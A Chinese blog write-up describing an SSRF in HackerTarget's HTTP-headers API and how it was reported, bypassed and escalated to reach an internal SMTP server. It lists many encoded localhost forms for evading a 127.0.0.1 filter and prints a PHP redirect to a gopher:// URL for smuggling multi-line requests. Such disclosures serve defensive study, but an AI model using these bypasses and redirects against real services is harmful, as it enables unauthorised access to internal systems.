介绍
这是我在测试HackerTarget网站时意外发现的一个SSRF的思路,并利用它来访问内部服务!但是,没有bug奖励。
什么是HackerTarget
HackerTarget是一项服务,提供给许多安全人员使用的在线漏洞扫描器。他们也是DNSDumpster的创造者。
SSRF
服务器端请求伪造(SSRF)是一个漏洞,攻击者可以通过易受攻击的应用程序发送受控制的请求。我们可以通过使用URI方案(如dict://,gopher://,ftp://等等)与运行在不同协议上的不同服务进行通信。获取服务器来发出请求本身不是一个漏洞,但是当您可以向通常不会或不应该正常访问的内容(如内部网络或内部服务)发出请求时,它就变成了一个漏洞。
漏洞
我在使用DNSDumpster查找子域名时,我注意到有一个类似于“Get HTTP Headers”的地球的按钮:
它调用https://api.hackertarget.com/httpheaders/?q=并显示了一个简单的GET请求的HTTP头部,目标服务器。
我很好奇,所以我试着查询127.0.0.1!API转发HTTP请求,查询通过!然后,我试着查看是否可以通过查询127.0.0.1:22来获取SSH版本。
回应
我将漏洞报告给了他们,他们对我表示了感谢,并让我检查他们发布的补丁。我检查了,很容易绕过:它只是阻止127.0.0.1。以下是我使用的几个旁路:
127.00.1
127.0.01
0.00.0
0.0.00
127.1.0.1
127.10.1
127.1.01
0177.1
0177.0001.0001
0x0.0x0.0x0.0x0
0000.0000.0000.0000
0x7f.0x0.0x0.0x1
0177.0000.0000.0001
0177.0001.0000..0001
0x7f.0x1.0x0.0x1
0x7f.0x1.0x1
localtest.me
我告诉他们,没有办法通过使用基于字符串的检查来验证查询,所以我建议他们解析域名并根据本地IP范围进行检查。他们同意并表示会考虑这个问题,大约10天后,我问他们是否发布了另一个补丁,答复是:“这是我的待办事项清单。这并不重要,因为没有任何本地服务可能会受到影响”。
充当老板
看着他们高高在上的样子, 我决定接受挑战,打到内部网络,我决定编写一个bash脚本,用一个bypass方法和一个端口号来查询API,看看我能否看到它运行的内部服务:
HackerTarget限制25个API查询,所以我的脚本只显示端口1 - 25。我得到的唯一的反应是来自运行在端口22上的SSH,我很幸运地从SMTP服务器找到端口25,我完全忽略之前!
MTP?
· SMTP代表简单邮件传输协议。
· 这是用于发送电子邮件的TCP / IP协议。(谁会猜到?)
· 通常它与pop3或imap一起使用,用于接收电子邮件。
我知道我可以用这个SSRF来打这个服务,但是我不能肯定我能发送邮件所需的有效命令。然后,我尝试除了http://和https://之外,哪些包装被支持和启用。
我尝试使用dict://,并能够得到libcurl版本,但是这不是很有帮助。接下来,我在服务器上创建了一个PHP文件,用gopher://wrapper启动重定向到另一个端口:
header("Location: gopher://hack3r.site:1337/_SSRF%0ATest!");
?>
简而言之,gopher://协议发送1个字符,一个新行(CR + LF)和剩下的数据,这允许我们发送多行请求。
开始netcat,并再次检查API:https://api.hackertarget.com/httpheaders/?q=http://sxcurity.pro/redirect.php。它遵循重定向,我收到了端口1337的多行请求!
这意味着我可以发送有效的命令到内部的SMTP服务器!
利用
我在我的服务器上创建了另一个PHP文件,将API重定向到内部SMTP服务器并发出有效的SMTP命令
我最后一次改变了查询:https://api.hackertarget.com/httpheaders/?q=http://sxcurity.pro/smtp.php
我去掉了电子邮件,重新加载一次。
在大喊'heck yeah!'之后,我创建了一个快速的概念验证视频,并将其发送给HackerTarget。
https://www.youtube.com/watch?time_continue=3&v=F_sC_OrSkIc
注意
他们没有bug奖励计划,所以请不要在没有他们许可的情况下测试他们!
领取专属 10元无门槛券
私享最新 技术干货